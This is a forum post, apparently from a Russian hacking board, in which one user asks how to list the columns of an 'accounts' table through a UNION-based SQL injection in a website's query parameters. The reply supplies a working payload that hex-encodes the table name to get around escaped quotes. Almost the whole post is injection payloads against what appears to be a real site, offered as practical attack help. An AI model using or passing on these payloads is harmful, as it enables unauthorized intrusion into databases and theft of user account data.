Показать сообщение отдельно

  #6  
Старый 24.04.2013, 12:31
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Цитата:
Сообщение от LomasterII  
есть инъекция
так работает нормально
?menu=95&add=50110339+and+1=0+union+select+1,table _name,3,4,5,6,7,8+from+information_schema.tables+--+
названия таблиц выводятся в столбик, есть таблица accounts,но я не могу вывести названия столбцов. Вывод ошибки тут отсутствует
пробовал так:
?menu=95&add=50110339+and+1=0+union+select+1,colum n_name,3,4,5,6,7,8+from+information_schema.columns +where+table_name='accounts'+--+
не выходит
а так выводится огромное кол-во столбцов:
?menu=95&add=50110339+and+1=0+union+select+1,colum n_name,3,4,5,6,7,8+from+information_schema.columns +--+
как мне вывести именно accounts?
пробовал в hex переводить, кавычки ставить/убирать, не получается
Скорее всего у вас MQ включены.

Следовательно, надо использовать запросы вида

menu=95&add=50110339+and+1=0+union+select+1,column _name,3,4,5,6,7,8+from+information_schema.columns+ where+table_name=0x6163636f756e7473+--+
 
Ответить с цитированием